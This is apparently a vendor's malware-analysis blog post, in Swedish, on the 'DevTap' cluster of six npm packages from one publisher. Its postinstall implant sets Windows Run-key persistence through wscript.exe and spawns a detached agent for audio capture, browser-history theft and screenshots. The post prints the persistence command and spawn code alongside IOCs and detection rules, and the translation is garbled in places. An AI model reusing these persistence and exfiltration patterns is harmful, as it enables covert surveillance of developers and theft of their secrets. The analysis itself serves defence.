TL; DR
Mellan 1 april och 3 maj 2026, en enda npm-utgivare, user0001, registrerad med den overifierade Gmail-adressen tanvisoul9@gmail.com, lanserade i tysthet sex paket med avsiktligt intetsägande, infrastrukturklingande namn: centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtimeoch node-env-resolve.
De två senaste versionerna av node-env-resolve, 1.0.7 och 1.0.8, flaggades av Xygenis system för tidig varning mot malware (MEW) den 2 maj och bekräftades som skadliga den 3 maj.
Implantatet är ovanligt för vad det inte är: det finns inga Telegram-botar, inga OAST-återuppringningar, inga förvirring, och inget försök att hämta AWS-inloggningsuppgifter vid installationstillfället. Istället, postinstall.js planterar en Windows boot-persistence-post med hjälp av en HKCU Run-tangent som startar wscript.exe mot en VBS-stub. Sedan skapar den en fristående Node.js-agent som paketerar moduler för mikrofoninspelning, stöld av webbläsarhistorik, skärmdumpar och simulering av mus/tangentbord.
Vi kallar detta kluster DevTap, efter att kittet lämnar det körs på en utvecklares maskin.
Alla sex paketen var tillgängliga på npm i skrivande stund. Vi har skickat in dem till registrets kanal för missbruk. Försvarare bör hämta alla installationer från utgivaren i väntan på borttagning.
Klustret: Sex paket, en utgivare
Utgivarens konto user0001 är overifierad. Den har ingen SCM verifiering, ingen domänbunden e-post och ingen tidigare historik. Gmail-användaren tanvisoul9 förekommer inte i någon annan npm-utgivares post vi kunde hitta.
Alla sex paketen listar samma utvecklare, publicerades från samma konto och delar samma package.json standardstandard. Det finns ingen repository, Nr homepage, och nej description längre än en enda rad.
Namngivningsstrategin är den intressanta delen. Till skillnad från en klassisk beroendeförvirrings- eller typosquat-kampanj riktar sig inget av dessa namn mot ett specifikt uppströmsbibliotek. Istället är de kalibrerade för att försvinna in i en verklig package.json or npm ls utgång.
| Paket | Först publicerad | Senaste versionen | versioner | Roll i klustret |
|---|---|---|---|---|
| centrallogger | 2026-04-01 12:46 UTC | 1.0.9 | 5, från 1.0.5 till 1.0.9 | Klustrets omslag till "loggverktyget"; tidigaste publicering |
| dom-utils-lite | 2026-04-14 07:36 UTC | 1.0.3 | 3 | Generiskt DOM-hjälpskydd |
| node-fetch-lite | 2026-04-19 10:22 UTC | 1.0.2 | 3 | Härmar node-fetch-familjen |
| kontaktagent | 2026-04-25 05:12 UTC | 1.0.0 | 1 | Generiskt namn "agent" |
| node-gyp-runtime | 2026-04-25 05:17 UTC | 1.0.0 | 1 | Efterliknar verktyg för byggande av nativa moduler |
| nod-miljö-lös | 2026-04-25 05:21 UTC | 1.0.9 | 10, från 1.0.0 till 1.0.9 | Aktiv dropper; fullständigt implantat |
Namn som centralogger, node-fetch-liteoch node-gyp-runtime är utformade för att se okontroversiella ut vid kodgranskning. De låter som saker som redan skulle finnas i ett projekts beroendeträd.
Kombinerat med en ny, overifierad utgivare och saknade länkar till arkiven bildar de ett igenkännbart mönster: en aktör som sår lättanvända namn i registret och sedan snabbt itererar på det som är viktigt. I det här fallet, node-env-resolve fick tio versioner på åtta dagar.
Vad som hamnar på en Windows Dev Box
Den illvilliga kedjan på node-env-resolve:1.0.8 är kort, direkt och ovanligt funktionsrik för att vara en npm RAT.
Efterinstallation: Persistens och avskild agent
package.json deklarerar en enda installationshook:
{ "scripts": { "postinstall": "node postinstall.js" } }postinstall.js gör tre saker i tur och ordning.
Först placerar den en installationskatalog utanför npm-trädet. Sökvägen beräknas vid körning i skriptet som INSTALL_DIRSedan körs en intern execSync('npm install --production --silent ...') inuti den för att hämta implantatets runtime-beroenden. Detta placerar agenten på disk någonstans i en manual node_modules revisionen kommer inte att hitta.
För det andra skriver den en VBS-startare och registrerar den för startpersistens:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \ /v ${AGENT_NAME} \ /t REG_SZ \ /d "wscript.exe \"${vbsPath}\"" /fwscript.exe är Windows Script Host, en signerad Microsoft-binärfil som körs .vbs filer utan ett konsolfönster. Det är förberettcisvarför det är föredraget för autorun-stubbar.
Det finns också en matchning reg delete väg inuti src/index.js, vilket tyder på att implantatet är utformat för att enkelt kunna tas bort på operatörens kommando.
För det tredje skapar det en fristående underprocess:
spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], { detached: true, env: { ...process.env, SERVER_URL } })Två detaljer är viktiga här.
SERVER_URL läses från miljön. Som ett resultat är C2-slutpunkten konfigurerbar per driftsättning och är inte inbyggd i paketet. Det lilla men avsiktliga valet omintetgör de flesta statiska IOC-svep.
Dessutom ärver det skapade barnet hela föräldramiljön. Därför, alla NPM_TOKEN, AWS_*, GITHUB_TOKEN, eller SSH-agent-socketen som finns i utvecklarskalet vid installationstillfället, färdas till den långlivade agentens minne.
Vad agenten skickar med
Den buntade src/ trädet innehåller tre moduler vars namn ensamma berättar historien: audioCapture.js, browserHistory.jsoch systemInfo.js.
Listan över runtime-beroenden, löst under den stegvisa npm install, bekräftar dem.
Denna metod förvandlar en kaotisk incident till en kontrollerad respons.
Istället för att reagera blint arbetar team med tydlig prioritering och snabb åtgärd.
| Dependency | Vad det är till för i detta sammanhang |
|---|---|
| skärmdump-skrivbord | Regelbunden skärmdumpning |
| @nötträdgaffel/nöt-js | Mus- och tangentbordsautomation / inmatningssimulering |
| bättre-sqlite3 | Direktläsning av Chrome-, Edge- och Firefox History SQLite-databaser |
| adm-postkod | Buntning av insamlade artefakter före exfiltrering |
| skarp | Ändra storlek på/komprimera skärmdumpar och bildartefakter |
| socket.io-klient | Persistent dubbelriktad C2-kanal |
| nod-maskin-id | Stabilt fingeravtryck per värd för spårning av offer |
systemInfo.js samtal os.networkInterfaces() för ytterligare fingeravtryck före den första beaconen.
Varför ljudinspelningen är den enastående signalen
De flesta npm RAT:er som vi triagerar i MEW stoppar vid hemlig stöld under installationstid. De läser. ~/.npmrc, läs ~/.aws/credentials, skrapa process.env, POST till en webhook och avsluta. Det passar en ekonomisk modell med "smash-and-grab"-funktion. Autentiseringsuppgifter har en kort halveringstid och angriparen måste tjäna pengar snabbt.
node-env-resolve är olika i formen.
Persistensen är konfigurerad för att överleva omstart. Agenten körs fristående och långlivad under wscript.exeKitet den bär är till för att vara där på en utvecklares maskin, inte för att ta och lämna: en mikrofoninspelare, en tangentbords-/musdrivrutin, fullständig webbläsarhistorikinmatning, skärmdump och en interaktiv Socket.IO-kanal tillbaka till en konfigurerbar C2.
Speciellt mikrofoninspelning är den gräns som den här kampanjen korsar, vilket de flesta npm-skadliga program inte gör.
En utvecklararbetsstation är i allt större utsträckning också den arbetsstation där utvecklare tar emot stående samtal, kundsamtal, designdiskussioner och jourhavande samtal. Ett implantat som spelar in mikrofonen är egentligen inte ute efter utvecklarens npm-token. Det är ute efter vad utvecklaren säger framför den bärbara datorn.
Den uppsättningen funktioner, plus avsaknaden av obfuskation och avsaknaden av någon flashig exfiltrering under installationsprocessen, läser som förpositionering för riktad åtkomst snarare än opportunistisk stöld av autentiseringsuppgifter.
Vi hävdar inte att det är orsaken enbart utifrån detta. Vi noterar den operativa profilen.

Åtta dagars iterationskadens på node-env-resolve är den mest operativt talande detaljen i tidslinjen.
Detta är inte en "avfyra och glöm"-dropp. Utgivaren underhåller aktivt droppern, vilket vanligtvis innebär en av två saker. Antingen justerar de den mot testmiljöer innan bredare distribution, eller så har de redan installerad telemetri som kommer tillbaka och svarar på den.
De övriga fem paketen såg i praktiken ingen kundbortfall efter sin första publicering. Det passar in i ett mönster där "en gång i fasen lämnas namngiven" för stödklustret, medan ingenjörsarbetet fokuserar på det paket som gör jobbet.
Tillskrivning: Små ledtrådar, ingen fast dom
offentliga OSINT Signalerna är tunna, och vi kommer inte att tänja på dem. Vad som är observerbart:
Gmail-användaren tanvisoul9 liknar delvis ett sydasiatiskt förnamn, ”Tanvi”. Detta är en svag signal. Gmail-användare är inte identitet, och det efterföljande namnet soul9 är generiskt. Det är inte säkert att härleda geografi enbart från en lokal del av ett e-postmeddelande.
Kodstilen är anmärkningsvärd Node.js: standard bibliotekssamtal som t.ex. os, child_process, spawnoch reg addDet finns ingen obfuskation, ingen strängrotation och ingen anti-felsökningslogik. Författaren är bekväm med Windows-registerprimitiver och orkestrering av fristående barnprocesser, men verkar inte sträva efter mer smygande hantverk som de rimligen skulle kunna använda.
Beroenden är helt standard och välkända: screenshot-desktop, nut-js, better-sqlite3och socket.io-clientDet finns inget anpassat protokoll, ingen från grunden rullad C2-stack och inget nytt persistensknep utöver en lärobok. HKCU Run-nyckelDetta är en kompetent integratör, inte en verktygsförfattare.
Vi hittade inga icke-engelska strängar, inbäddade kommentarer, språkdata eller fingeravtryck från tidszoner från kompilatorn i de publicerade artefakterna.
Vi kontrollerade kodöverlappningar med tidigare kampanjer som vi redan spårar, inklusive Shai Hulud, Owlivion, Buildkite, och den senaste heibai / claude-code-best Klonfamiljen Anthropic-CLI. Vi hittade inga: inga delade C2-mönster, inga delade fillayouter och inga delade idiom.
Vad vi inte skulle säga: att detta är en statlig aktör, en känd grupp eller geografiskt knuten till något specifikt land.
Den operativa profilen överensstämmer med ett litet, måttligt skickligt team som utför övervakning på utvecklararbetsstationer. Det är sannolikt ekonomiskt motiverat genom nedströmsanvändning av åtkomsten, men möjligen också rekognoscering-som-en-tjänst för en separat köpare.
Två indirekta punkter stöder detta: undvikandet av uppmärksamhetsfångande exfiltreringsmekanismer som snabbt skulle bränna klustret, såsom Telegram-botar, oastify.com, eller canarytokens, och de avsiktligt intetsägande paketnamnen, som föredrar tysta long-tail-installationer framför en kort topp i hög volym.
Indikatorer för kompromiss och upptäckt
| Paket och utgivare | |
|---|---|
| Fält | Värderar |
| npm-utgivare | user0001 |
| Utgivarens e-postadress | tanvisoul9@gmail.com, overifierad |
| Paket | centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, node-env-resolve |
| Bekräftat skadlig | node-env-resolve@1.0.7, node-env-resolve@1.0.8 |
| Värdartefakter | |
|---|---|
| Typ | Värderar |
| Persistensnyckel | HKCU\Programvara\Microsoft\Windows\Aktuell version\Kör |
| Persistensvärde | Variabelnamn; data av formen wscript.exe " \\ .vbs" |
| Montera kroken | postinstall: noden postinstall.js i paketmanifestet |
| Implantatmoduler | src/audioCapture.js, src/browserHistory.js, src/systemInfo.js |
| Staging-katalog | INSTALL_DIR löstes utanför projektets node_modules; platsen angavs av postinstall.js vid installationstillfället. |
| nätverks | |
|---|---|
| Typ | Värderar |
| C2-transport | socket.io-klient, ihållande dubbelriktad kanal |
| C2-slutpunkt | Tillhandahålls agenten via miljövariabeln SERVER_URL; inte hårdkodad i publicerade artefakter |
Detektionsanteckningar
Två regler fångar denna familj utan att behöva C2-slutpunkten.
Först, flagga postinstall-skript som utför en intern npm install till en sökväg utanför paketets egen katalog. Alla legitima förbyggda nedladdare, som till exempel node-gyp ombyggnader eller förbyggda binära nedladdare, skriver inuti paketet eller till plattform-standard cachesökvägar med verifierade hash-värden. Den skriver inte till en nyligen skapad INSTALL_DIR någon annanstans på disken.
För det andra, flagga postinstall-skript som utlöser problem reg add HKCU\…\Run med wscript.exe som startprogram. Detta är i princip aldrig legitimt från ett npm-paket. Flagga och karantänera det.
En tredje heuristik är användbar för att identifiera nästa syskonpaket innan det bekräftas: en ny npm-utgivare utan SCM verifiering, en Gmail-e-postadress, nej repository fält, och flera korta, generiska, infrastrukturklingande paketnamn som publiceras inom några dagar efter varandra, är i sig tillräckligt för att motivera manuell granskning.
Rapporterat till npm-registret. Vi kommer att uppdatera det här inlägget när utgivarkontot har tagits bort.






